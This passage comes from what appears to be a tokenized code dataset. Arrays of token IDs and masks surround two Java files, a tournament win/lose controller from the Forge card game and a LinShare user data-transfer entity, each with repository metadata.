648,
5693,
6042,
93,
299,
5693,
6042,
51,
125,
64,
11274,
1175,
18092,
1641,
8293,
299,
634,
6417,
337,
1114,
51,
2665,
12954,
64,
295,
1175,
648,
1641,
2627,
55,
299,
1641,
8293,
51,
1660,
536,
244,
55,
64,
295,
1175,
648,
1641,
3041,
299,
1641,
8293,
51,
2296,
64,
11274,
453,
4216,
439,
43182,
391,
341,
8466,
2764,
295,
1175,
648,
5693,
93,
2061,
299,
5693,
6042,
93,
449,
8318,
1269,
2627,
536,
244,
55,
64,
295,
1175,
648,
5693,
94,
299,
1641,
8293,
51,
126,
494,
1641,
3041,
64,
11274,
1276,
633,
338,
3471,
434,
341,
14700,
458,
11154,
451,
341,
2952,
633,
588,
295,
1175,
18092,
2010,
8293,
299,
634,
1130,
55,
51,
390,
8293,
492,
295,
1922,
458,
8488,
93,
15049,
337,
299,
920,
64,
295,
648,
5693,
93,
299,
5693,
93,
2061,
64,
11274,
434,
327,
1920,
93,
2061,
2394,
2010,
8293,
51,
1660,
46,
320,
343,
5693,
93,
299,
2010,
8293,
51,
1660,
449,
244,
57,
53,
64,
343,
458,
8488,
93,
15049,
337,
299,
878,
64,
295,
339,
11274,
1175,
18092,
2540,
8293,
299,
2540,
51,
390,
8293,
492,
11274,
6460,
11958,
3948,
2941,
299,
634,
1130,
55,
51,
471,
3948,
45,
1920,
93,
49,
5693,
94,
312,
11274,
434,
327,
2269,
3948,
2941,
51,
125,
494,
8318,
1269,
2627,
868,
2540,
8293,
51,
1660,
46,
320,
1083,
1276,
1819,
338,
25557,
14828,
2764,
49,
580,
458,
11154,
451,
341,
2540,
49,
9457,
1263,
1819,
338,
334,
2719,
318,
1819,
588,
1083,
434,
327,
316,
8488,
93,
15049,
337,
46,
320,
30760,
11958,
3948,
2941,
299,
634,
1130,
55,
51,
471,
3948,
45,
1920,
93,
2061,
449,
1641,
2627,
55,
494,
244,
55,
53,
449,
8318,
1269,
2627,
49,
5693,
94,
312,
1083,
339,
832,
320,
30760,
11958,
3948,
2941,
51,
125,
299,
11958,
3948,
2941,
51,
125,
449,
8318,
1269,
2627,
64,
343,
339,
295,
339,
11274,
434,
327,
2269,
3948,
2941,
51,
126,
494,
8318,
1269,
3041,
868,
2540,
8293,
51,
2296,
46,
320,
1083,
1276,
1819,
338,
25557,
10705,
2764,
49,
580,
458,
11154,
451,
341,
2540,
49,
9457,
1263,
1819,
338,
334,
2719,
318,
1819,
588,
1083,
11958,
3948,
2941,
51,
126,
299,
11958,
3948,
2941,
51,
126,
449,
8318,
1269,
3041,
449,
1641,
3041,
64,
295,
339,
11274,
461,
2435,
436,
3948,
8293,
1569,
8538,
45,
3976,
1269,
49,
11958,
3948,
2941,
312,
416,
339,
1704,
461,
2615,
51,
26716,
45,
3976,
1269,
49,
1708,
312,
682,
339,
3051,
496,
1806,
682,
2532,
2210,
640,
20495,
5585,
45,
3242,
3916,
1708,
46,
320,
1704,
1175,
24999,
337,
1225,
2941,
11958,
5585,
299,
634,
6417,
337,
1114,
299,
634,
1130,
55,
51,
390,
16488,
337,
1225,
2941,
492,
1704,
461,
11958,
5585,
64,
682,
339,
3051,
964,
782,
758,
2725,
1795,
2627,
45,
3242,
7822,
3518,
46,
320,
1704,
1175,
648,
1788,
1795,
2627,
299,
244,
56,
53,
53,
64,
1704,
1175,
7877,
768,
22004,
299,
327,
3567,
768,
46,
3518,
51,
390,
2362,
768,
492,
416,
1175,
6460,
1813,
1269,
299,
3518,
51,
7946,
1269,
45,
5696,
89,
51,
5815,
49,
26294,
51,
5815,
312,
1704,
434,
327,
1304,
1269,
51,
125,
868,
1788,
1795,
2627,
46,
320,
11274,
453,
10907,
1788,
1882,
295,
22004,
51,
1660,
11213,
299,
1788,
1795,
2627,
64,
1704,
339,
832,
320,
11274,
453,
5672,
6385,
1882,
295,
22004,
51,
1660,
11213,
299,
26294,
51,
5815,
64,
416,
339,
682,
339,
3051,
496,
1806,
682,
2532,
1922,
1414,
1940,
20495,
45,
3242,
3916,
1708,
46,
320,
222,
222,
325,
665,
434,
4648,
1130,
55,
51,
316,
4325,
1225,
2941,
12896,
365,
630,
920,
46,
320,
222,
325,
282,
461,
920,
64,
222,
325,
665,
339,
1704,
434,
327,
5282,
51,
3179,
1940,
20495,
45,
1585,
46,
630,
920,
46,
320,
295,
461,
920,
64,
416,
339,
1704,
434,
4648,
6417,
337,
1114,
630,
762,
46,
320,
295,
461,
920,
64,
416,
339,
1704,
461,
878,
64,
682,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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seController.java
|
/FileExtraction/Java_unseen/Card-Forge_forge/forge-gui/src/main/java/forge/gamemodes/tournament/TournamentWinLoseController.java
|
package forge.gamemodes.tournament;
import java.util.ArrayList;
import java.util.List;
import com.google.common.collect.Lists;
import forge.LobbyPlayer;
import forge.deck.Deck;
import forge.game.GameView;
import forge.game.player.RegisteredPlayer;
import forge.gui.interfaces.IButton;
import forge.gui.interfaces.IWinLoseView;
import forge.localinstance.skin.FSkinProp;
import forge.model.FModel;
import forge.player.GamePlayerUtil;
import forge.util.Localizer;
abstract public class TournamentWinLoseController {
private final Localizer localizer = Localizer.getInstance();
private final IWinLoseView<? extends IButton> view;
private final GameView lastGame;
public TournamentWinLoseController(IWinLoseView<? extends IButton> view0, final GameView game0) {
view = view0;
lastGame = game0;
}
public void showOutcome() {
final TournamentData gd = FModel.getTournamentData();
if (gd.getEventNames() == null || gd.getEventRecords() == null) {
//fix corrupted entry to reset and allow the save to continue instead of crashing due to NPE
gd.setEventNames(new ArrayList<>());
gd.setEventRecords(new ArrayList<>());
gd.reset();
}
final List<String> lstEventNames = gd.getEventNames();
final List<Deck> lstDecks = gd.getDecks();
final List<String> lstEventRecords = gd.getEventRecords();
final int len = lstDecks.size();
final int num = gd.getCompleted();
FSkinProp icon = null;
String message1 = null;
String message2 = null;
// No restarts.
view.getBtnRestart().setVisible(false);
// Generic event record.
lstEventRecords.set(gd.getCompleted(), "Ongoing");
// Match won't be saved until it is over. This opens up a cheat
// or failsafe mechanism (depending on your perspective) in which
// the player can restart Forge to replay a match.
// Pretty sure this can't be fixed until in-game states can be
// saved. Doublestrike 07-10-12
LobbyPlayer questPlayer = GamePlayerUtil.getGuiPlayer();
// In all cases, update stats.
lstEventRecords.set(gd.getCompleted(), lastGame.getGamesWonBy(questPlayer) + " - "
+ (lastGame.getNumPlayedGamesInMatch() - lastGame.getGamesWonBy(questPlayer) + 1));
boolean isMatchOver = lastGame.isMatchOver();
if (isMatchOver) {
gd.setCompleted(gd.getCompleted() + 1);
// Win match case
if (lastGame.isMatchWonBy(questPlayer)) {
// Tournament complete: Remove save file
if (gd.getCompleted() == lstDecks.size()) {
icon = FSkinProp.ICO_QUEST_COIN;
message1 = localizer.getMessage("lblCongratulations");
message2 = localizer.getMessage("lblThroughTournament");
view.getBtnContinue().setVisible(false);
view.getBtnQuit().setText(localizer.getMessage("lblOK"));
// Remove save file if it's a quickie, or just reset it.
if (gd.getName().startsWith(TournamentIO.PREFIX_QUICK)) {
TournamentIO.getTournamentFile(gd).delete();
}
else {
gd.reset();
}
}
// Or, save and move to next game
else {
gd.stamp();
TournamentIO.saveTournament(gd);
view.getBtnContinue().setText(localizer.getMessage("btnNextRound") + " (" + (gd.getCompleted() + 1)
+ "/" + len + ")");
view.getBtnContinue().setVisible(true);
view.getBtnContinue().setEnabled(true);
view.getBtnQuit().setText(localizer.getMessage("btnSaveQuit"));
}
}
// Lose match case; stop tournament.
else {
icon = FSkinProp.ICO_QUEST_HEART;
message1 = localizer.getMessage("lblDefeated");
message2 = localizer.getMessage("lblFailedTournament");
view.getBtnContinue().setVisible(false);
// Remove save file if it's a quickie, or just reset it.
if (gd.getName().startsWith(TournamentIO.PREFIX_QUICK)) {
TournamentIO.getTournamentFile(gd).delete();
}
else {
gd.reset();
}
}
}
gd.setEventRecords(lstEventRecords);
showOutcome(isMatchOver, message1, message2, icon, lstEventNames, lstEventRecords, len, num);
}
public final boolean actionOnContinue() {
if (lastGame.isMatchOver()) {
// To change the AI deck, we have to create a new match.
final TournamentData gd = FModel.getTournamentData();
final RegisteredPlayer human = new RegisteredPlayer(gd.getUserDeck()).setPlayer(GamePlayerUtil.getGuiPlayer());
final Deck aiDeck = gd.getDecks().get(gd.getCompleted());
final List<RegisteredPlayer> players = Lists.newArrayList();
players.add(human);
players.add(new RegisteredPlayer(aiDeck).setPlayer(GamePlayerUtil.createAiPlayer()));
view.hide();
saveOptions();
gd.nextRound(players, human);
return true;
}
return false;
}
protected abstract void showOutcome(boolean isMatchOver, String message1, String message2, FSkinProp icon, List<String> lstEventNames, List<String> lstEventRecords, int len, int num);
protected abstract void saveOptions();
}
| 5,779
|
Java
|
.java
|
Card-Forge/forge
| 816
| 455
| 301
|
2022-04-10T02:09:17Z
|
2024-05-08T19:06:04Z
|
a16fd1ee3eda84f0fc58ce46cc7ec2a42ef33e0e5924e796ab846a81eee591c4
|
[
1337,
456,
319,
51,
3642,
24360,
51,
35357,
64,
499,
222,
485,
1401,
51,
1058,
51,
7119,
64,
222,
485,
1401,
51,
1058,
51,
739,
64,
222,
222,
485,
785,
51,
2193,
51,
2297,
51,
6190,
51,
12982,
64,
222,
222,
485,
456,
319,
51,
37642,
3516,
64,
222,
485,
456,
319,
51,
21272,
51,
24736,
64,
222,
485,
456,
319,
51,
3642,
51,
3783,
1089,
64,
222,
485,
456,
319,
51,
3642,
51,
3857,
51,
17521,
3516,
64,
222,
485,
456,
319,
51,
8472,
51,
11204,
51,
78,
1732,
64,
222,
485,
456,
319,
51,
8472,
51,
11204,
51,
78,
8482,
1789,
296,
1089,
64,
222,
485,
456,
319,
51,
1717,
2403,
51,
20706,
51,
75,
20994,
6569,
64,
222,
485,
456,
319,
51,
1184,
51,
75,
1262,
64,
222,
485,
456,
319,
51,
3857,
51,
3783,
3516,
1747,
64,
222,
485,
456,
319,
51,
1058,
51,
3340,
2292,
64,
222,
222,
9431,
581,
462,
2634,
18785,
8482,
1789,
296,
1934,
320,
303,
964,
1175,
7099,
2292,
2212,
2292,
299,
7099,
2292,
51,
7432,
492,
303,
964,
1175,
457,
8482,
1789,
296,
1089,
1907,
2041,
457,
1732,
67,
2221,
64,
303,
964,
1175,
6067,
1089,
2419,
3783,
64,
465,
581,
2634,
18785,
8482,
1789,
296,
1934,
45,
78,
8482,
1789,
296,
1089,
1907,
2041,
457,
1732,
67,
2221,
53,
49,
1175,
6067,
1089,
4204,
53,
46,
320,
310,
2221,
299,
2221,
53,
64,
310,
2419,
3783,
299,
4204,
53,
64,
303,
339,
465,
581,
782,
2539,
19825,
365,
320,
310,
1175,
2634,
18785,
768,
22004,
299,
525,
1262,
51,
390,
40331,
768,
492,
310,
434,
327,
10629,
51,
33400,
4128,
365,
630,
762,
1293,
22004,
51,
33400,
11549,
365,
630,
762,
46,
320,
343,
453,
3315,
45088,
3429,
391,
5672,
480,
2625,
341,
4166,
391,
4056,
4203,
451,
14865,
318,
7278,
391,
508,
1321,
343,
22004,
51,
489,
1167,
4128,
45,
909,
5068,
13366,
1052,
343,
22004,
51,
489,
1167,
11549,
45,
909,
5068,
13366,
1052,
343,
22004,
51,
4558,
492,
310,
339,
310,
1175,
1701,
65,
671,
67,
20408,
1167,
4128,
299,
22004,
51,
33400,
4128,
492,
310,
1175,
1701,
65,
24736,
67,
20408,
703,
13191,
299,
22004,
51,
390,
703,
13191,
492,
310,
1175,
1701,
65,
671,
67,
20408,
1167,
11549,
299,
22004,
51,
33400,
11549,
492,
310,
1175,
648,
2095,
299,
20408,
703,
13191,
51,
911,
492,
310,
1175,
648,
1952,
299,
22004,
51,
390,
8557,
492,
310,
525,
20994,
6569,
4282,
299,
762,
64,
310,
910,
1492,
54,
299,
762,
64,
310,
910,
1492,
55,
299,
762,
64,
603,
453,
3155,
11683,
120,
51,
310,
2221,
51,
390,
8103,
22632,
941,
18215,
45,
1886,
312,
603,
453,
12679,
1708,
3646,
51,
310,
20408,
1167,
11549,
51,
489,
45,
10629,
51,
390,
8557,
1046,
332,
84,
33440,
318,
742,
603,
453,
12259,
7623,
1348,
545,
7533,
6234,
580,
458,
2308,
51,
1369,
28057,
992,
331,
8308,
288,
310,
453,
575,
8163,
7284,
17018,
327,
4437,
318,
563,
1390,
28183,
46,
347,
1532,
310,
453,
341,
4376,
902,
11683,
2643,
319,
391,
28604,
331,
2549,
51,
310,
453,
38062,
3673,
477,
902,
1348,
545,
5264,
6234,
347,
50,
3642,
10134,
902,
545,
310,
453,
7533,
51,
6938,
17913,
244,
53,
60,
50,
54,
53,
50,
54,
55,
310,
517,
25361,
3516,
18936,
3516,
299,
6067,
3516,
1747,
51,
390,
7889,
3516,
492,
603,
453,
719,
1187,
6819,
49,
1991,
8652,
51,
310,
20408,
1167,
11549,
51,
489,
45,
10629,
51,
390,
8557,
1046,
2419,
3783,
51,
390,
26953,
92,
286,
1103,
45,
622,
3516,
46,
494,
332,
449,
332,
419,
494,
327,
2153,
3783,
51,
15192,
5202,
337,
26953,
402,
3683,
365,
449,
2419,
3783,
51,
390,
26953,
92,
286,
1103,
45,
622,
3516,
46,
494,
244,
54,
894,
603,
1922,
458,
3683,
3980,
299,
2419,
3783,
51,
316,
3683,
3980,
492,
310,
434,
327,
316,
3683,
3980,
46,
320,
343,
22004,
51,
489,
8557,
45,
10629,
51,
390,
8557,
365,
494,
244,
54,
312,
1083,
453,
13376,
2549,
1152,
343,
434,
327,
2153,
3783,
51,
316,
3683,
92,
286,
1103,
45,
622,
3516,
509,
320,
419,
453,
2634,
18785,
6179,
63,
6491,
4166,
822,
419,
434,
327,
10629,
51,
390,
8557,
365,
630,
20408,
703,
13191,
51,
911,
1177,
320,
547,
4282,
299,
525,
20994,
6569,
51,
16896,
100,
36783,
100,
1213,
540,
64,
547,
1492,
54,
299,
2212,
2292,
51,
7724,
459,
10703,
628,
44796,
17536,
742,
547,
1492,
55,
299,
2212,
2292,
51,
7724,
459,
10703,
17729,
40331,
742,
3704,
2221,
51,
390,
8103,
17737,
941,
18215,
45,
1886,
312,
547,
2221,
51,
390,
8103,
28721,
941,
6619,
45,
1717,
2292,
51,
7724,
459,
10703,
2966,
2992,
3704,
453,
6491,
4166,
822,
434,
580,
1200,
331,
8289,
1093,
49,
575,
2277,
5672,
580,
51,
547,
434,
327,
10629,
51,
5175,
941,
13907,
45,
40331,
2354,
51,
9857,
100,
5239,
12305,
509,
320,
733,
2634,
18785,
2354,
51,
390,
40331,
991,
45,
10629,
566,
2577,
492,
547,
339,
547,
832,
320,
733,
22004,
51,
4558,
492,
547,
339,
419,
339,
419,
453,
4663,
49,
4166,
480,
5187,
391,
2371,
4204,
419,
832,
320,
547,
22004,
51,
2750,
492,
547,
2634,
18785,
2354,
51,
2882,
40331,
45,
10629,
312,
3704,
2221,
51,
390,
8103,
17737,
941,
6619,
45,
1717,
2292,
51,
7724,
459,
2578,
3364,
10242,
678,
494,
332,
2903,
494,
327,
10629,
51,
390,
8557,
365,
494,
244,
54,
46,
1031,
494,
13198,
494,
2095,
494,
32658,
547,
2221,
51,
390,
8103,
17737,
941,
18215,
45,
1527,
312,
547,
2221,
51,
390,
8103,
17737,
941,
18822,
45,
1527,
312,
547,
2221,
51,
390,
8103,
28721,
941,
6619,
45,
1717,
2292,
51,
7724,
459,
2578,
5134,
28721,
2992,
419,
339,
343,
339,
343,
453,
517,
2500,
2549,
1152,
64,
4739,
46365,
51,
343,
832,
320,
419,
4282,
299,
525,
20994,
6569,
51,
16896,
100,
36783,
100,
1692,
3015,
64,
419,
1492,
54,
299,
2212,
2292,
51,
7724,
459,
10703,
703,
1247,
751,
742,
419,
1492,
55,
299,
2212,
2292,
51,
7724,
459,
10703,
5296,
40331,
742,
2125,
2221,
51,
390,
8103,
17737,
941,
18215,
45,
1886,
312,
2125,
453,
6491,
4166,
822,
434,
580,
1200,
331,
8289,
1093,
49,
575,
2277,
5672,
580,
51,
419,
434,
327,
10629,
51,
5175,
941,
13907,
45,
40331,
2354,
51,
9857,
100,
5239,
12305,
509,
320,
547,
2634,
18785,
2354,
51,
390,
40331,
991,
45,
10629,
566,
2577,
492,
419,
339,
419,
832,
320,
547,
22004,
51,
4558,
492,
419,
339,
343,
339,
310,
339,
603,
22004,
51,
489,
1167,
11549,
45,
10015,
1167,
11549,
312,
603,
2539,
19825,
45,
316,
3683,
3980,
49,
1492,
54,
49,
1492,
55,
49,
4282,
49,
20408,
1167,
4128,
49,
20408,
1167,
11549,
49,
2095,
49,
1952,
312,
303,
339,
465,
581,
1175,
1922,
2146,
1501,
17737,
365,
320,
310,
434,
327,
2153,
3783,
51,
316,
3683,
3980,
1177,
320,
343,
453,
2634,
1557,
341,
19588,
23714,
49,
1019,
1178,
391,
1506,
331,
556,
2549,
51,
343,
1175,
2634,
18785,
768,
22004,
299,
525,
1262,
51,
390,
40331,
768,
492,
343,
1175,
47729,
3516,
13492,
299,
556,
47729,
3516,
45,
10629,
51,
12226,
24736,
4269,
489,
3516,
45,
3783,
3516,
1747,
51,
390,
7889,
3516,
1052,
343,
1175,
49012,
16968,
24736,
299,
22004,
51,
390,
703,
13191,
941,
390,
45,
10629,
51,
390,
8557,
1052,
343,
1175,
1701,
65,
17521,
3516,
67,
14580,
299,
25218,
51,
41617,
492,
343,
14580,
51,
688,
45,
18271,
312,
343,
14580,
51,
688,
45,
909,
47729,
3516,
45,
3063,
24736,
566,
489,
3516,
45,
3783,
3516,
1747,
51,
1315,
22535,
3516,
5086,
1083,
2221,
51,
5845,
492,
343,
4166,
2045,
492,
343,
22004,
51,
1995,
10242,
45,
14403,
49,
13492,
312,
343,
461,
878,
64,
310,
339,
310,
461,
920,
64,
303,
339,
465,
2532,
5560,
782,
2539,
19825,
45,
4412,
458,
3683,
3980,
49,
910,
1492,
54,
49,
910,
1492,
55,
49,
525,
20994,
6569,
4282,
49,
1701,
65,
671,
67,
20408,
1167,
4128,
49,
1701,
65,
671,
67,
20408,
1167,
11549,
49,
648,
2095,
49,
648,
1952,
312,
303,
2532,
5560,
782,
4166,
2045,
492,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 1,342
| true
| 59.439349
| true
| true
|
UserMto.java
|
/FileExtraction/Java_unseen/linagora_linshare-core/src/main/java/org/linagora/linshare/mongo/entities/mto/UserMto.java
|
/*
* Copyright (C) 2007-2023 - LINAGORA
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package org.linagora.linshare.mongo.entities.mto;
import java.util.Date;
import org.linagora.linshare.core.domain.entities.Guest;
import org.linagora.linshare.core.domain.entities.User;
public class UserMto extends AccountMto {
protected String ldapUid;
protected Boolean canUpload;
protected Boolean inconsistent;
protected Boolean canCreateGuest;
protected boolean restricted;
protected Date expirationDate;
public UserMto() {
}
public UserMto(User user) {
super(user);
this.ldapUid = user.getLdapUid();
this.canUpload = user.isCanUpload();
this.inconsistent = user.isInconsistent();
this.canCreateGuest = user.isCanCreateGuest();
if (user instanceof Guest) {
Guest guest = (Guest) user;
this.restricted = guest.isRestricted();
this.expirationDate = guest.getExpirationDate();
}
}
public UserMto(Guest user) {
this.uuid = user.getLsUuid();
this.domain = new DomainMto(user.getDomain());
this.mail = user.getMail();
this.name = user.getFullName();
this.firstName = user.getFirstName();
this.lastName = user.getLastName();
this.role = user.getRole();
this.accountType = user.getAccountType();
this.ldapUid = user.getLdapUid();
this.canUpload = user.isCanUpload();
this.inconsistent = user.isInconsistent();
this.canCreateGuest = user.isCanCreateGuest();
this.restricted = user.isRestricted();
this.expirationDate = user.getExpirationDate();
}
public String getLdapUid() {
return ldapUid;
}
public void setLdapUid(String ldapUid) {
this.ldapUid = ldapUid;
}
public Boolean getCanUpload() {
return canUpload;
}
public void setCanUpload(Boolean canUpload) {
this.canUpload = canUpload;
}
public Boolean getInconsistent() {
return inconsistent;
}
public void setInconsistent(Boolean inconsistent) {
this.inconsistent = inconsistent;
}
public Boolean getCanCreateGuest() {
return canCreateGuest;
}
public void setCanCreateGuest(Boolean canCreateGuest) {
this.canCreateGuest = canCreateGuest;
}
public boolean isRestricted() {
return restricted;
}
public void setRestricted(boolean restricted) {
this.restricted = restricted;
}
public Date getExpirationDate() {
return expirationDate;
}
public void setExpirationDate(Date expirationDate) {
this.expirationDate = expirationDate;
}
}
| 3,023
|
Java
|
.java
|
linagora/linshare-core
| 54
| 29
| 13
|
2013-12-20T15:22:40Z
|
2023-12-05T01:07:30Z
|
a81ce9f1473531ebc0063f0001287300c9443f8b9e0031fa15af7020d96d0627
|
[
1127,
222,
338,
2657,
327,
72,
46,
244,
55,
53,
53,
60,
50,
55,
53,
55,
56,
449,
27579,
1631,
48972,
222,
338,
1369,
3477,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
580,
1549,
341,
5974,
451,
341,
6994,
30994,
6153,
5062,
1196,
641,
9582,
829,
222,
338,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
1196,
49,
575,
222,
338,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
222,
338,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
222,
338,
6994,
30994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
30994,
6153,
5062,
1196,
222,
338,
7979,
642,
477,
3477,
51,
244,
1691,
666,
49,
2337,
350,
544,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
222,
588,
222,
1337,
1105,
51,
1823,
500,
7298,
51,
1823,
6085,
51,
17008,
51,
9259,
51,
114,
471,
64,
222,
222,
485,
1401,
51,
1058,
51,
1563,
64,
222,
222,
485,
1105,
51,
1823,
500,
7298,
51,
1823,
6085,
51,
1284,
51,
4136,
51,
9259,
51,
22078,
64,
222,
485,
1105,
51,
1823,
500,
7298,
51,
1823,
6085,
51,
1284,
51,
4136,
51,
9259,
51,
1259,
64,
222,
222,
942,
462,
2694,
82,
471,
2041,
9042,
82,
471,
320,
499,
221,
5332,
910,
33912,
18233,
64,
499,
221,
5332,
5080,
902,
7847,
64,
499,
221,
5332,
5080,
38967,
64,
499,
221,
5332,
5080,
902,
1940,
22078,
64,
499,
221,
5332,
1922,
27674,
64,
499,
221,
5332,
2833,
23869,
1563,
64,
499,
221,
942,
2694,
82,
471,
365,
320,
222,
221,
130,
499,
221,
942,
2694,
82,
471,
45,
1259,
1275,
46,
320,
376,
221,
5282,
45,
514,
312,
376,
221,
597,
51,
19406,
18233,
299,
1275,
51,
390,
33060,
18233,
492,
376,
221,
597,
51,
3389,
7847,
299,
1275,
51,
316,
4460,
7847,
492,
376,
221,
597,
51,
285,
23161,
299,
1275,
51,
28831,
23161,
492,
376,
221,
597,
51,
3389,
1940,
22078,
299,
1275,
51,
316,
4460,
1940,
22078,
492,
376,
221,
344,
327,
514,
5118,
48275,
46,
320,
374,
221,
22078,
21593,
299,
327,
22078,
46,
1275,
64,
374,
221,
597,
51,
32392,
299,
21593,
51,
316,
37415,
492,
374,
221,
597,
51,
26894,
1563,
299,
21593,
51,
390,
23859,
1563,
492,
376,
221,
130,
222,
221,
130,
499,
221,
942,
2694,
82,
471,
45,
22078,
1275,
46,
320,
376,
221,
597,
51,
6615,
299,
1275,
51,
390,
35251,
15291,
492,
376,
221,
597,
51,
4136,
299,
556,
14064,
82,
471,
45,
514,
51,
390,
5048,
1052,
376,
221,
597,
51,
2215,
299,
1275,
51,
390,
8610,
492,
376,
221,
597,
51,
444,
299,
1275,
51,
390,
16062,
492,
376,
221,
597,
51,
18077,
299,
1275,
51,
390,
20690,
492,
376,
221,
597,
51,
20271,
299,
1275,
51,
20164,
577,
492,
376,
221,
597,
51,
4315,
299,
1275,
51,
390,
4555,
492,
376,
221,
597,
51,
3543,
638,
299,
1275,
51,
390,
3354,
638,
492,
376,
221,
597,
51,
19406,
18233,
299,
1275,
51,
390,
33060,
18233,
492,
376,
221,
597,
51,
3389,
7847,
299,
1275,
51,
316,
4460,
7847,
492,
376,
221,
597,
51,
285,
23161,
299,
1275,
51,
28831,
23161,
492,
376,
221,
597,
51,
3389,
1940,
22078,
299,
1275,
51,
316,
4460,
1940,
22078,
492,
376,
221,
597,
51,
32392,
299,
1275,
51,
316,
37415,
492,
376,
221,
597,
51,
26894,
1563,
299,
1275,
51,
390,
23859,
1563,
492,
222,
221,
130,
499,
221,
942,
910,
640,
33060,
18233,
365,
320,
376,
221,
620,
33912,
18233,
64,
222,
221,
130,
499,
221,
942,
782,
758,
33060,
18233,
45,
671,
33912,
18233,
46,
320,
376,
221,
597,
51,
19406,
18233,
299,
33912,
18233,
64,
222,
221,
130,
499,
221,
942,
5080,
640,
4460,
7847,
365,
320,
376,
221,
620,
902,
7847,
64,
222,
221,
130,
499,
221,
942,
782,
758,
4460,
7847,
45,
4718,
902,
7847,
46,
320,
376,
221,
597,
51,
3389,
7847,
299,
902,
7847,
64,
222,
221,
130,
499,
221,
942,
5080,
640,
402,
23161,
365,
320,
376,
221,
620,
38967,
64,
222,
221,
130,
499,
221,
942,
782,
758,
402,
23161,
45,
4718,
38967,
46,
320,
376,
221,
597,
51,
285,
23161,
299,
38967,
64,
222,
221,
130,
499,
221,
942,
5080,
640,
4460,
1940,
22078,
365,
320,
376,
221,
620,
902,
1940,
22078,
64,
222,
221,
130,
499,
221,
942,
782,
758,
4460,
1940,
22078,
45,
4718,
902,
1940,
22078,
46,
320,
376,
221,
597,
51,
3389,
1940,
22078,
299,
902,
1940,
22078,
64,
222,
221,
130,
499,
221,
942,
1922,
458,
37415,
365,
320,
376,
221,
620,
27674,
64,
222,
221,
130,
499,
221,
942,
782,
758,
37415,
45,
4412,
27674,
46,
320,
376,
221,
597,
51,
32392,
299,
27674,
64,
222,
221,
130,
499,
221,
942,
2833,
640,
23859,
1563,
365,
320,
376,
